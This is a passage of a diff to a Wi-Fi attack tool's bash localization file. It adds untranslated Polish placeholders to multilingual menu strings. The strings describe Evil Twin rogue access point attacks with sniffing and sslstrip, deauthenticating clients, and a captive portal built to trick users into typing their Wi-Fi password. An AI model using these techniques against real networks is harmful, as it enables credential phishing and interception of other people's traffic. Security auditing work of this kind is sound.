arr["ITALIAN",248]="Lingua cambiata a Portoghese" + arr["POLISH",248]="${pending_of_translation} " arr["ENGLISH",249]="5. Portuguese" arr["SPANISH",249]="5. Portugués" @@ -2719,6 +2968,7 @@ function language_strings() { arr["RUSSIAN",249]="5. Португальский" arr["GREEK",249]="5. Πορτογαλικά" arr["ITALIAN",249]="5. Portoghese" + arr["POLISH",249]="${pending_of_translation} " arr["ENGLISH",250]="If you see any bad translation or just want ${cyan_color}${pending_of_translation}${pink_color} marks to dissapear, write me to ${normal_color}${mail}${pink_color} to collaborate with translations" arr["SPANISH",250]="Si ves alguna traducción incorrecta o quieres que desparezcan las marcas ${cyan_color}${pending_of_translation}${pink_color}, escríbeme a ${normal_color}${mail}${pink_color} para colaborar con las traducciones" @@ -2728,6 +2978,7 @@ function language_strings() { arr["RUSSIAN",250]="Если вы видите плохой перевод или просто хотите снять пометку ${cyan_color}${pending_of_translation}${pink_color} напишите мне на ${normal_color}${mail}${pink_color} для сотрудничества с переводчиками" arr["GREEK",250]="Αν δείτε κάποια κακή μετάφραση ή απλά θέλετε τα σημάδια ${cyan_color}${pending_of_translation}${pink_color} να εξαφανιστούν, στείλτε μου στο ${normal_color}${mail}${pink_color} για να συνεργαστούμε με τις μεταφράσεις" arr["ITALIAN",250]="Se vedi qualche errore di traduzione o vuoi che spariscano le marche ${cyan_color}${pending_of_translation}${pink_color}, scrivimi a ${normal_color}${mail}${pink_color} per collaborare con le traduzioni" + arr["POLISH",250]="${pending_of_translation} " arr["ENGLISH",251]="You have chosen the same language that was selected. No changes will be done" arr["SPANISH",251]="Has elegido el mismo idioma que estaba seleccionado. No se realizarán cambios" @@ -2737,6 +2988,7 @@ function language_strings() { arr["RUSSIAN",251]="Вы выбрали такой же язык, какой и был. Никаких изменений не будет сделано" arr["GREEK",251]="Επιλέξατε την ίδια γλώσσα που ήταν ήδη επιλεγμένη. Δεν θα γίνει καμία αλλαγή" arr["ITALIAN",251]="Hai scelto la stessa lingua che è giá selezionata. Non sará effettutata nessuna modifica" + arr["POLISH",251]="${pending_of_translation} " arr["ENGLISH",252]="7. Evil Twin attacks menu" arr["SPANISH",252]="7. Menú de ataques Evil Twin" @@ -2746,6 +2998,7 @@ function language_strings() { arr["RUSSIAN",252]="7. Меню атак Злой Двойник" arr["GREEK",252]="7. Μενού επιθέσεων Evil Twin" arr["ITALIAN",252]="7. Menu degli attacchi Evil Twin" + arr["POLISH",252]="${pending_of_translation} " arr["ENGLISH",253]="Evil Twin attacks menu" arr["SPANISH",253]="Menú de ataques Evil Twin" @@ -2755,6 +3008,7 @@ function language_strings() { arr["RUSSIAN",253]="Меню атак Злой Двойник" arr["GREEK",253]="Μενού επιθέσεων Evil Twin" arr["ITALIAN",253]="Menu degli attacchi Evil Twin" + arr["POLISH",253]="${pending_of_translation} " arr["ENGLISH",254]="In order to use the Evil Twin just AP and sniffing attacks, you must have another one interface in addition to the wifi network interface will become the AP, which will provide internet access to other clients on the network. This doesn't need to be wifi, can be ethernet" arr["SPANISH",254]="Para utilizar los ataques de Evil Twin de solo AP y con sniffing, deberás tener además de la interfaz wifi que se transformará en el AP, otra interfaz de red con acceso a internet para proporcionar este servicio a otros clientes de la red. Esta no hace falta que sea wifi, puede ser ethernet" @@ -2764,6 +3018,7 @@ function language_strings() { arr["RUSSIAN",254]="Чтобы использовать Злого Двойника точки доступа и атаку сниффинга, вы должны иметь другой интерфейс в дополнение к сетевому интерфейсу wifi. Сетевой интерфейс wifi станет точкой доступа, к которому будут подключаться жертвы. Для того, чтобы у этой точки доступа было Интернет-подключение и используется второй сетевой адаптер. Ему необязательно быть wifi, достаточно ethernet" arr["GREEK",254]="Για να χρησιμοποιήσετε τις επιθέσεις sniffing και Evil Twin με AP, πρέπει να έχετε άλλη μία διεπαφή παράλληλα με την διεπαφή δικτύου wifi που θα γίνει AP, η οποία θα παρέχει πρόσβαση στο διαδίκτυο στους άλλες χρήστες του δικτύου. Δεν χρειάζεται να είναι wifi, μπορεί να έιναι και ethernet" arr["ITALIAN",254]="Per utilizzare gli attacchi Evil Twin con solo AP e con sniffing, è necessario che, oltre all'interfaccia wifi che diventerà l'AP, sia presente un'altra interfaccia di rete con connessione internet per fornire questo servizio agli altri clienti della rete. Questo non ha bisogno di essere wifi, può essere ethernet" + arr["POLISH",254]="${pending_of_translation} " arr["ENGLISH",255]="without sniffing, just AP" arr["SPANISH",255]="sin sniffing, solo AP" @@ -2773,6 +3028,7 @@ function language_strings() { arr["RUSSIAN",255]="без сниффинга, просто ТД" arr["GREEK",255]="χωρίς sniffing, μόνο AP" arr["ITALIAN",255]="senza sniffing, solo AP" + arr["POLISH",255]="${pending_of_translation} " arr["ENGLISH",256]="5. Evil Twin attack just AP" arr["SPANISH",256]="5. Ataque Evil Twin solo AP" @@ -2782,6 +3038,7 @@ function language_strings() { arr["RUSSIAN",256]="5. Атака Злой Двойник, только ТД" arr["GREEK",256]="5. Επίθεση Evil Twin μόνο AP" arr["ITALIAN",256]="5. Attacco Evil Twin solo AP" + arr["POLISH",256]="${pending_of_translation} " arr["ENGLISH",257]="with sniffing" arr["SPANISH",257]="con sniffing" @@ -2791,6 +3048,7 @@ function language_strings() { arr["RUSSIAN",257]="со сниффингом" arr["GREEK",257]="με sniffing" arr["ITALIAN",257]="con sniffing" + arr["POLISH",257]="${pending_of_translation} " arr["ENGLISH",258]="If you use the attack without sniffing, just AP, you'll can use any external to script sniffer software" arr["SPANISH",258]="Si utilizas el ataque sin sniffing, solo AP, podrás usar cualquier programa sniffer externo al script" @@ -2800,6 +3058,7 @@ function language_strings() { arr["RUSSIAN",258]="Если вы используете атаку без сниффинга, только ТД, то вы сможете использовать любое внешнее ПО для сниффинга" arr["GREEK",258]="Αν χρησιμοποιήσετε την επίθεση χωρίς sniffing, μόνο AP, θα μπορείτε να χρησιμοποιήσετε οποιοδήποτε εξωτερίκό sniffer script" arr["ITALIAN",258]="Se si utilizza l'attacco senza sniffing, solo AP, è possibile utilizzare qualsiasi programma di sniffer esterno per lo script" + arr["POLISH",258]="${pending_of_translation} " arr["ENGLISH",259]="6. Evil Twin AP attack with sniffing" arr["SPANISH",259]="6. Ataque Evil Twin AP con sniffing" @@ -2809,6 +3068,7 @@ function language_strings() { arr["RUSSIAN",259]="6. Атака Злой Двойник ТД со сниффингом" arr["GREEK",259]="6. Επίθεση Evil Twin AP με sniffing" arr["ITALIAN",259]="6. Attacco Evil Twin AP con sniffing" + arr["POLISH",259]="${pending_of_translation} " arr["ENGLISH",260]="10. Return to main menu" arr["SPANISH",260]="10. Volver al menú principal" @@ -2818,6 +3078,7 @@ function language_strings() { arr["RUSSIAN",260]="10. Возврат в главное меню" arr["GREEK",260]="10. Επιστροφή στο αρχικό μενού" arr["ITALIAN",260]="10. Tornare al menú principale" + arr["POLISH",260]="${pending_of_translation} " arr["ENGLISH",261]="7. Evil Twin AP attack with sniffing and sslstrip" arr["SPANISH",261]="7. Ataque Evil Twin AP con sniffing y sslstrip" @@ -2827,6 +3088,7 @@ function language_strings() { arr["RUSSIAN",261]="7. Атака Злой Двойник ТД со сниффингом и sslstrip" arr["GREEK",261]="7. Επίθεση Evil Twin AP με sniffing και sslstrip" arr["ITALIAN",261]="7. Attacco Evil Twin AP con sniffing e sslstrip" + arr["POLISH",261]="${pending_of_translation} " arr["ENGLISH",262]="without sniffing, captive portal" arr["SPANISH",262]="sin sniffing, portal cautivo" @@ -2836,6 +3098,7 @@ function language_strings() { arr["RUSSIAN",262]="без сниффинга, перехватывающий портал" arr["GREEK",262]="χωρίς sniffing, captive portal" arr["ITALIAN",262]="senza sniffing, captive portal" + arr["POLISH",262]="${pending_of_translation} " arr["ENGLISH",263]="9. Evil Twin AP attack with captive portal (monitor mode needed)" arr["SPANISH",263]="9. Ataque Evil Twin AP con portal cautivo (modo monitor requerido)" @@ -2845,6 +3108,7 @@ function language_strings() { arr["RUSSIAN",263]="9. Атака Злой Двойник ТД с перехватывающим порталом (необходим режим монитора)" arr["GREEK",263]="9. Επίθεση Evil Twin AP με captive portal (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",263]="9. Attacco Evil Twin AP con captive portal (modalità monitor richiesta)" + arr["POLISH",263]="${pending_of_translation} " arr["ENGLISH",264]="The captive portal attack tries to one of the network clients provide us the password for the wifi network by entering it on our portal" arr["SPANISH",264]="El ataque del portal cautivo intentará conseguir que uno de los clientes de la red nos proporcione la contraseña de la red wifi introduciéndola en nuestro portal" @@ -2854,6 +3118,7 @@ function language_strings() { arr["RUSSIAN",264]="Атака с перехватывающим порталом заключается в том, что мы ждём когда кто-то из пользователей введёт верный пароль от Wi-Fi на веб-странице, которую мы ему показываем" arr["GREEK",264]="Η επίθεση captive portal κάνει έναν από τους χρήστες του δικτύου να μας παρέχει τον κωδικό πρόσβασης του δικτύου wifi βάζοντάς τον στο portal μας" arr["ITALIAN",264]="L'attacco con il captive portal cercherà di ottenere che uno dei clienti della rete ci dia la password per la rete wireless inserendola sul nostro sito" + arr["POLISH",264]="${pending_of_translation} " arr["ENGLISH",265]="Evil Twin deauth" arr["SPANISH",265]="Desautenticación para Evil Twin" @@ -2863,6 +3128,7 @@ function language_strings() { arr["RUSSIAN",265]="Деаутентификация для Злого Двойника" arr["GREEK",265]="Evil Twin deauth" arr["ITALIAN",265]="Desautenticazione per Evil Twin" + arr["POLISH",265]="${pending_of_translation} " arr["ENGLISH",266]="4. Return to Evil Twin attacks menu" arr["SPANISH",266]="4. Volver al menú de ataques Evil Twin" @@ -2872,6 +3138,7 @@ function language_strings() { arr["RUSSIAN",266]="4. Вернуться в меню атак Злой Двойник" arr["GREEK",266]="4. Επιστροφή στο μενού επιθέσεων Evil Twin" arr["ITALIAN",266]="4. Tornare al menu attacchi Evil Twin" + arr["POLISH",266]="${pending_of_translation} " arr["ENGLISH",267]="If you can't deauth clients from an AP using an attack, choose another one :)" arr["SPANISH",267]="Si no consigues desautenticar a los clientes de un AP con un ataque, elige otro :)" @@ -2881,6 +3148,7 @@ function language_strings() { arr["RUSSIAN",267]="Если вы не можете деаутентифицировать клиентов от ТД используя эту атаку, выберите другую :)" arr["GREEK",267]="Αν δεν μπορείτε να κάνετε deauth τους χρήστες από ένα AP χρησιμοποιώντας μία επίθεση, διαλέξτε κάποια άλλη :)" arr["ITALIAN",267]="Se non è possibile scollegare i clienti da un AP con un attacco, scegline un altro :)" + arr["POLISH",267]="${pending_of_translation} " arr["ENGLISH",268]="With this attack, we'll try to deauth clients from the legitimate AP. Hopefully they'll reconnect to our Evil Twin AP" arr["SPANISH",268]="Con este ataque, intentaremos desautenticar a los clientes del AP legítimo. Con suerte reconectarán pero a nuestro Evil Twin AP" @@ -2890,6 +3158,7 @@ function language_strings() { arr["RUSSIAN",268]="Этой атакой мы попытаемся деаутентифицировать клиентов от легитимной ТД. В надежде, что они переподключатся к нашему Злому Двойнику ТД" arr["GREEK",268]="Με αυτήν την επίθεση, θα προσπαθήσουμε να κάνουμε deauth τους χρήστες από το αρχικό AP. Ας ελπίσουμε ότι θα επανασυνδεθούν στο Evil Twin AP μας" arr["ITALIAN",268]="Con questo attacco, si cerca di scollegare i clienti dal AP legittimo. Se abbiamo fortuna si riconnetteranno al nostro Evil Twin AP" + arr["POLISH",268]="${pending_of_translation} " arr["ENGLISH",269]="To perform an Evil Twin attack you'll need to be very close to the target AP or have a very powerful wifi antenna. Your signal must reach clients equally strong or more than the legitimate AP" arr["SPANISH",269]="Para realizar un ataque Evil Twin necesitarás estar muy cerca del AP objetivo o tener una antena wifi muy potente. Tu señal ha de llegar a los clientes igual de fuerte o más que la del AP legítimo" @@ -2899,6 +3168,7 @@ function language_strings() { arr["RUSSIAN",269]="Для выполнения атаки Злой Двойник, вы должны быть очень близко к целевой ТД или иметь очень мощную wifi антенну. Ваш сигнал должен достигать клиентов с такой же силой, или даже сильнее, чем легитимная ТД" arr["GREEK",269]="Για να πραγματοποιηθεί μία επίθεση Evil Twin θα πρέπει να είστε αρκετά κοντά στο AP-στόχο ή να έχετε μία πολύ ισχυρή κεραία. Το σήμα πρέπει να φτάνει στους χρήστες το ίδιο ή περισσότερο από το αρχικό AP" arr["ITALIAN",269]="Per un attacco Evil Twin c'è bisogno di essere vicino al punto di accesso obiettivo o di avere un'antenna wifi potente. Il segnale deve raggiungere i clienti come o piú forte che il legittimo AP" + arr["POLISH",269]="${pending_of_translation} " arr["ENGLISH",270]="Evil Twin attack just AP" arr["SPANISH",270]="Ataque Evil Twin solo AP" @@ -2908,6 +3178,7 @@ function language_strings() { arr["RUSSIAN",270]="Атака Злой Двойник, просто ТД" arr["GREEK",270]="Επίθεση Evil Twin μόνο AP" arr["ITALIAN",270]="Attacco Evil Twin solo AP" + arr["POLISH",270]="${pending_of_translation} " arr["ENGLISH",271]="Selected BSSID: ${pink_color}None${normal_color}" arr["SPANISH",271]="BSSID seleccionado: ${pink_color}Ninguno${normal_color}" @@ -2917,6 +3188,7 @@ function language_strings() { arr["RUSSIAN",271]="Выбранная BSSID: ${pink_color}Нет${normal_color}" arr["GREEK",271]="Επιλεγμένο BSSID: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",271]="BSSID selezionato: ${pink_color}Nessuno${normal_color}" + arr["POLISH",271]="${pending_of_translation} " arr["ENGLISH",272]="Deauthentication chosen method: ${pink_color}${et_dos_attack}${normal_color}" arr["SPANISH",272]="Método elegido de desautenticación: ${pink_color}${et_dos_attack}${normal_color}" @@ -2926,6 +3198,7 @@ function language_strings() { arr["RUSSIAN",272]="Выбор метода деаутентификации: ${pink_color}${et_dos_attack}${normal_color}" arr["GREEK",272]="Επιλεγμένη μέθοδος για deauthentication: ${pink_color}${et_dos_attack}${normal_color}" arr["ITALIAN",272]="Metodo deauth scelto: ${pink_color}${et_dos_attack}${normal_color}" + arr["POLISH",272]="${pending_of_translation} " arr["ENGLISH",273]="Selected channel: ${pink_color}None${normal_color}" arr["SPANISH",273]="Canal seleccionado: ${pink_color}Ninguno${normal_color}" @@ -2935,6 +3208,7 @@ function language_strings() { arr["RUSSIAN",273]="Выбранный канал: ${pink_color}Нет${normal_color}" arr["GREEK",273]="Επιλεγμένο κανάλι: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",273]="Canale selezionato: ${pink_color}Nessuno${normal_color}" + arr["POLISH",273]="${pending_of_translation} " arr["ENGLISH",274]="Selected ESSID: ${pink_color}None${normal_color}" arr["SPANISH",274]="ESSID seleccionado: ${pink_color}Ninguno${normal_color}" @@ -2944,6 +3218,7 @@ function language_strings() { arr["RUSSIAN",274]="Выбранная ESSID: ${pink_color}Нет${normal_color}" arr["GREEK",274]="Επιλεγμένο ESSID: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",274]="ESSID selezionato: ${pink_color}Nessuno${normal_color}" + arr["POLISH",274]="${pending_of_translation} " arr["ENGLISH",275]="In addition to the software requirements that already meet if you get here, you need to provide target AP data to carry out the attack" arr["SPANISH",275]="Además de los requisitos de software, que ya cumples si has llegado hasta aquí, es necesario proporcionar los datos del AP objetivo para llevar a cabo el ataque" @@ -2953,6 +3228,7 @@ function language_strings() { arr["RUSSIAN",275]="В дополнение к требованиям по программному обеспечению, которым вы соответствуете, вам нужно обеспечить Интернет подключение вашей ТД для выполнения атаки" arr["GREEK",275]="Εκτός από τις απαιτήσεις του λογισμικού οι οποίες πληρούνται αν έχετε φτάσει έως εδώ, χρειάζεται να παρέχετε δεδομένα AP-στόχου για να πραγματοποιηθεί η επίθεση" arr["ITALIAN",275]="Oltre ai requisiti software che già soddisfi se sei arrivato qui, è necessario fornire i dati dell'AP obiettivo per effettuare l'attacco" + arr["POLISH",275]="${pending_of_translation} " arr["ENGLISH",276]="On top of this screen you can see all that is needed to perform the attack. If any of the parameters has no value, you can enter it manually, or you can go back to select a target and then return here" arr["SPANISH",276]="En la parte superior de esta pantalla puedes ver todo lo que hace falta para realizar el ataque. Si alguno de los parámetros no tiene valor, puedes introducirlo manualmente, o puedes retroceder para seleccionar un objetivo y regresar aquí" @@ -2962,6 +3238,7 @@ function language_strings() { arr["RUSSIAN",276]="Наверху экрана вы можете увидеть всё, что вам нужно для выполнения этой атаки. Если какие-либо из этих параметров не имеют значения, вы можете ввести их вручную или вы можете вернуться назад для выбора цели, а затем вернуться сюда" arr["GREEK",276]="Πάνω από αυτή την οθόνη μπορείτε να δείτε ό,τι χρειάζεται για να εκτελεστεί η επίθεση. Αν κάποια παραμέτρος δεν έχει τιμή, μπορείτε να την εισάγετε χειροκίνητα, ή μπορείτε να πάτε πίσω για να επιλέξετε εαν στόχο και μετά να επιστρέψετε εδώ" arr["ITALIAN",276]="In cima a questa schermata è possibile vedere tutto ciò che è necessario per eseguire l'attacco. Se uno dei parametri non ha alcun valore, è possibile inserirlo manualmente, oppure si può tornare indietro per selezionare un target e tornare qui" + arr["POLISH",276]="${pending_of_translation} " arr["ENGLISH",277]="Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",277]="¿Deseas continuar? ${normal_color}${visual_choice}" @@ -2971,6 +3248,7 @@ function language_strings() { arr["RUSSIAN",277]="Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",277]="Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",277]="Vuoi continuare? ${normal_color}${visual_choice}" + arr["POLISH",277]="${pending_of_translation} " arr["ENGLISH",278]="Deauthentication chosen method: ${pink_color}None${normal_color}" arr["SPANISH",278]="Método elegido de desautenticación: ${pink_color}Ninguno${normal_color}" @@ -2980,6 +3258,7 @@ function language_strings() { arr["RUSSIAN",278]="Выбор метода деаутентификации: ${pink_color}Нет${normal_color}" arr["GREEK",278]="Επιλεγμένη μέθοδος deauthentication: ${pink_color}Καμία${normal_color}" arr["ITALIAN",278]="Metodo deauth scelto: ${pink_color}Nessuno${normal_color}" + arr["POLISH",278]="${pending_of_translation} " arr["ENGLISH",279]="Select another interface with internet access :" arr["SPANISH",279]="Selecciona otra interfaz que tenga acceso a internet :" @@ -2989,6 +3268,7 @@ function language_strings() { arr["RUSSIAN",279]="Выбор другого интерфейса с Интернет доступом :" arr["GREEK",279]="Επιλέξτε άλλη διεπαφή με προσβαση στο διαδίκτυο :" arr["ITALIAN",279]="Selezionare un'altra interfaccia che ha accesso a internet:" + arr["POLISH",279]="${pending_of_translation} " arr["ENGLISH",280]="On this screen, it's supposed an additional interface to provide internet access is chosen, but you don't have anyone at this moment" arr["SPANISH",280]="En esta pantalla, se supone que deberías elegir otro interfaz adicional para proporcionar acceso a internet, pero no dispones de ninguno en este momento" @@ -2998,6 +3278,7 @@ function language_strings() { arr["RUSSIAN",280]="На этом экране предполагается, что выбран дополнительный интерфейс для предоставления Интернет доступа, но у вас его на текущий момент нет" arr["GREEK",280]="Σε αυτή την οθόνη, υποτίθεται πως επιλέγεται μία επιπρόσθετη διεπαφή που παρέχει πρόσβαση στο διαδίκτυο, αλλά δεν έχετε κανέναν αυτή τη στιγμή" arr["ITALIAN",280]="In questa schermata, si suppone che devi scegliere un'interfaccia aggiuntiva per fornire l'accesso a internet, peró in questo momento non ne hai nessuna" + arr["POLISH",280]="${pending_of_translation} " arr["ENGLISH",281]="The interface ${interface} you have already selected is not a wifi card. This attack needs a wifi card selected" arr["SPANISH",281]="El interfaz ${interface} que tienes seleccionado no es una tarjeta wifi. Este ataque necesita que la interfaz seleccionada sea wifi" @@ -3007,6 +3288,7 @@ function language_strings() { arr["RUSSIAN",281]="Интерфейс ${interface}, который вы выбрали не является wifi картой. Эта атака требует выбрать wifi карту" arr["GREEK",281]="Η διεπαφή ${interface} που έχετε ήδη επιλέξει δεν έιναι κάρτα wifi. Αυτή η επίθεση χρειάζεται μία κάρτα wifi επιλεγμένη" arr["ITALIAN",281]="L'interfaccia ${interface} che hai scelto non è una scheda wifi. Per questo attacco è necessario che l'interfaccia selezionata sia wifi" + arr["POLISH",281]="${pending_of_translation} " arr["ENGLISH",282]="Selected internet interface: ${pink_color}${internet_interface}${normal_color}" arr["SPANISH",282]="Interfaz con internet seleccionada: ${pink_color}${internet_interface}${normal_color}" @@ -3016,6 +3298,7 @@ function language_strings() { arr["RUSSIAN",282]="Выбранный Интернет интерфейс: ${pink_color}${internet_interface}${normal_color}" arr["GREEK",282]="Επιλεγμένη διεπαφή με πρόσβαση στο διαδίκτυο: ${pink_color}${internet_interface}${normal_color}" arr["ITALIAN",282]="Interfaccia internet selezionata: ${pink_color}${internet_interface}${normal_color}" + arr["POLISH",282]="${pending_of_translation} " arr["ENGLISH",283]="Selected internet interface: ${pink_color}None${normal_color}" arr["SPANISH",283]="Interfaz con internet seleccionada: ${pink_color}Ninguna${normal_color}" @@ -3025,6 +3308,7 @@ function language_strings() { arr["RUSSIAN",283]="Выбранный Интернет интерфейс: ${pink_color}Нет${normal_color}" arr["GREEK",283]="Επιλεγμένη διεπαφή με πρόσβαση στο διαδίκτυο: ${pink_color}Καμία${normal_color}" arr["ITALIAN",283]="Interfaccia internet selezionata: ${pink_color}Nessuna${normal_color}" + arr["POLISH",283]="${pending_of_translation} " arr["ENGLISH",284]="Do you want to use this selected interface? ${normal_color}${visual_choice}" arr["SPANISH",284]="¿Quieres utilizar esta interfaz ya seleccionada? ${normal_color}${visual_choice}" @@ -3034,6 +3318,7 @@ function language_strings() { arr["RUSSIAN",284]="Вы хотите использовать этот выбранный интерфейс? ${normal_color}${visual_choice}" arr["GREEK",284]="Θέλετε να χρησιμοποιήσετε αυτή την επιλεγμένη διεπαφή; ${normal_color}${visual_choice}" arr["ITALIAN",284]="Vuoi usare questa interfaccia già selezionata? ${normal_color}${visual_choice}" + arr["POLISH",284]="${pending_of_translation} " arr["ENGLISH",285]="Selected interface with internet access detected during this session [${normal_color}${internet_interface}${blue_color}]" arr["SPANISH",285]="Se ha detectado que ya tiene un interfaz con acceso a internet seleccionada en esta sesión [${normal_color}${internet_interface}${blue_color}]" @@ -3043,6 +3328,7 @@ function language_strings() { arr["RUSSIAN",285]="Во время этой сессии обнаружен выбранный интерфейс с Интернет подключением [${normal_color}${internet_interface}${blue_color}]" arr["GREEK",285]="Η επιλεγμένη διεπαφή με πρόσβαση στο διαδίκτυο εντοπίστηκε κατά τη διάρκεια της συνεδρίας [${normal_color}${internet_interface}${blue_color}]" arr["ITALIAN",285]="E' stato riscontrato che ha già un'interfaccia con accesso a internet selezionata in questa sessione [${normal_color}${internet_interface}${blue_color}]" + arr["POLISH",285]="${pending_of_translation} " arr["ENGLISH",286]="If you don't have a captured Handshake file from the target network you can get it now" arr["SPANISH",286]="Si no tienes un fichero de Handshake capturado de la red objetivo puedes obtenerlo ahora" @@ -3052,6 +3338,7 @@ function language_strings() { arr["RUSSIAN",286]="Если у вас отсутствует файл с рукопожатием целевой сети, вы можете сейчас захватить его" arr["GREEK",286]="Εάν δεν έχετε κάποιο αρχείο Χειραψίας από το δίκτυο-στόχος μπορείτε να το πάρετε τώρα" arr["ITALIAN",286]="Se non hai catturato un file di Handshake dalla rete obiettivo puoi ottenerlo ora" + arr["POLISH",286]="${pending_of_translation} " arr["ENGLISH",287]="The script will check for internet access. Please be patient..." arr["SPANISH",287]="El script va a comprobar si tienes acceso a internet. Por favor ten paciencia..." @@ -3061,6 +3348,7 @@ function language_strings() { arr["RUSSIAN",287]="Этот скрипт проверит доступ к Интернету. Подождите немного..." arr["GREEK",287]="Το script θα ελέγξει αν έχετε πρόσβαση στο διαδίκτυο. Παρακαλώ έχετε λίγη υπομονή..." arr["ITALIAN",287]="Lo script controllerà se si ha accesso a internet. Si prega di essere pazienti..." + arr["POLISH",287]="${pending_of_translation} " arr["ENGLISH",288]="It seems you have no internet access. This attack needs an interface with internet access" arr["SPANISH",288]="Parece que no tienes conexión a internet. Este ataque necesita una interfaz con acceso a internet" @@ -3070,6 +3358,7 @@ function language_strings() { arr["RUSSIAN",288]="Судя по всему, у вас нет доступа к Интернету. Эта атака требует интерфейс с Интернет доступом" arr["GREEK",288]="Φαίνεται πως δεν έχετε πρόσβαση στο διαδίκτυο. Αυτή η επίθεση χρειάζεται μία διεπαφή με πρόσβαση στο διαδίκτυο" arr["ITALIAN",288]="Sembra che tu non abbia alcuna connessione a internet. Questo attacco ha bisogno di un'interfaccia con connessione a internet" + arr["POLISH",288]="${pending_of_translation} " arr["ENGLISH",289]="It has been verified successfully you have internet access on selected interface. Script can continue..." arr["SPANISH",289]="Se ha verificado correctamente que tienes acceso a internet en la interfaz seleccionada. El script puede continuar..." @@ -3079,6 +3368,7 @@ function language_strings() { arr["RUSSIAN",289]="Проверка доступа к Интернету прошла успешно на выбранном интерфейс. Скрипт может продолжать..." arr["GREEK",289]="Επαληθεύτηκε επιτυχώς πως έχετε πρόσβαση στο διαδίκτυο με την επιλεγμένη διεπαφή. Το script μπορεί να συνεχίσει..." arr["ITALIAN",289]="E' stato verificato con successo che si ha accesso a internet sull'interfaccia selezionata. Lo script può continuare ..." + arr["POLISH",289]="${pending_of_translation} " arr["ENGLISH",290]="It seems you have internet access but not in the selected interface acting as interface with internet access" arr["SPANISH",290]="Parece que tienes conexión a internet pero no en la interfaz seleccionada como interfaz con acceso a internet" @@ -3088,6 +3378,7 @@ function language_strings() { arr["RUSSIAN",290]="Судя по всему у вас есть доступ к Интернету, но не на выбранном для Интернет доступа интерфейсе" arr["GREEK",290]="Φαίνεται πως έχετε πρόσβαση στο διαδίκτυο αλλά όχι στην επιλεγμένη διεπαφή που ενεργεί ως διεπαφή με πρόσβαση στο διαδίκτυο" arr["ITALIAN",290]="Sembra che hai connession a internet ma non nell'interfaccia selezionata come interfaccia con accesso ad internet" + arr["POLISH",290]="${pending_of_translation} " arr["ENGLISH",291]="Evil Twin AP attack with sniffing" arr["SPANISH",291]="Ataque Evil Twin AP con sniffing" @@ -3097,6 +3388,7 @@ function language_strings() { arr["RUSSIAN",291]="Атака Злой Двойник ТД со сниффингом" arr["GREEK",291]="Επίθεση Evil Twin AP με sniffing" arr["ITALIAN",291]="Attacco Evil Twin AP con sniffing" + arr["POLISH",291]="${pending_of_translation} " arr["ENGLISH",292]="Evil Twin AP attack with sniffing and sslstrip" arr["SPANISH",292]="Ataque Evil Twin AP con sniffing y sslstrip" @@ -3106,6 +3398,7 @@ function language_strings() { arr["RUSSIAN",292]="Атака Злой Двойник ТД со сниффингом и sslstrip" arr["GREEK",292]="Επίθεση Evil Twin AP με sniffing και sslstrip" arr["ITALIAN",292]="Attacco Evil Twin AP con sniffing e sslstrip" + arr["POLISH",292]="${pending_of_translation} " arr["ENGLISH",293]="Evil Twin AP attack with captive portal" arr["SPANISH",293]="Ataque Evil Twin AP con portal cautivo" @@ -3115,6 +3408,7 @@ function language_strings() { arr["RUSSIAN",293]="Атака Злой Двойник ТД с перехватывающим порталом" arr["GREEK",293]="Επίθεση Evil Twin AP με captive portal" arr["ITALIAN",293]="Attacco Evil Twin AP con captive portal" + arr["POLISH",293]="${pending_of_translation} " arr["ENGLISH",294]="Detecting resolution... Detected! : ${normal_color}${resolution}" arr["SPANISH",294]="Detectando resolución... Detectada! : ${normal_color}${resolution}" @@ -3124,6 +3418,7 @@ function language_strings() { arr["RUSSIAN",294]="Определение разрешения... Определено! : ${normal_color}${resolution}" arr["GREEK",294]="Εντοπίζεται η ανάλυση... Εντοπίστηκε! : ${normal_color}${resolution}" arr["ITALIAN",294]="Rilevamento risoluzione... Rilevata! : ${normal_color}${resolution}" + arr["POLISH",294]="${pending_of_translation} " arr["ENGLISH",295]="Detecting resolution... Can't be detected!, using standard : ${normal_color}${resolution}" arr["SPANISH",295]="Detectando resolución... No se ha podido detectar!, usando estándar : ${normal_color}${resolution}" @@ -3133,6 +3428,7 @@ function language_strings() { arr["RUSSIAN",295]="Определение разрешения... Не получается определить!, используется стандартное : ${normal_color}${resolution}" arr["GREEK",295]="Εντοπίζεται η ανάλυση... Δεν μπορεί να εντοπιστεί!, χρησιμοποιείται η προεπιλεγμένη : ${normal_color}${resolution}" arr["ITALIAN",295]="Rilevamento risoluzione... Non è stato possible rilevarla!, usando quella standard : ${normal_color}${resolution}" + arr["POLISH",295]="${pending_of_translation} " arr["ENGLISH",296]="All parameters and requirements are set. The attack is going to start. Multiple windows will be opened, don't close anyone. When you want to stop the attack press [Enter] on this window and the script will automatically close them all" arr["SPANISH",296]="Todos los parámetros y requerimientos están listos. Va a comenzar el ataque. Se abrirán múltiples ventanas, no cierres ninguna. Cuando quieras parar el ataque pulsa [Enter] en esta ventana y el script cerrará automáticamente todo" @@ -3142,6 +3438,7 @@ function language_strings() { arr["RUSSIAN",296]="Все параметры и требования готовы. Атака может быть начата. Будет открыто много окон, не закрывайте их. Когда вы захотите остановить атаку, нажмите [Enter] в этом окне и скрипт автоматически их все закроет" arr["GREEK",296]="Όλοι οι παράμετροι και οι απαιτήσεις έχουν τεθεί. Η επίθεση πρόκειται να ξεκινήσει. Θα ανοίξουν πολλαπλά παράθυρα, μην επιχειρήσετε να κλείσετε κάποιο. Όταν θελήσετε να σταματήσετε την επίθεση πατήστε [Enter] σε αυτό το παράθυρο και το script θα τα κλείσει όλα" arr["ITALIAN",296]="Tutti i parametri e i requisiti sono pronti. Si inizierà l'attacco. Si apriranno varie finestre, non chiuderne nessuna. Quando vuoi fermare l'attacco premi [Enter] in questa finestra e lo script chiuderá automaticamente tutto" + arr["POLISH",296]="${pending_of_translation} " arr["ENGLISH",297]="Cleaning iptables and routing rules" arr["SPANISH",297]="Limpiando iptables y reglas de routing" @@ -3151,6 +3448,7 @@ function language_strings() { arr["RUSSIAN",297]="Очистка iptables и правил маршуртизации" arr["GREEK",297]="Γινεται καθαρισμός των iptables και των κανόνων δρομολόγησης" arr["ITALIAN",297]="Pulendo iptables e le regole di routing" + arr["POLISH",297]="${pending_of_translation} 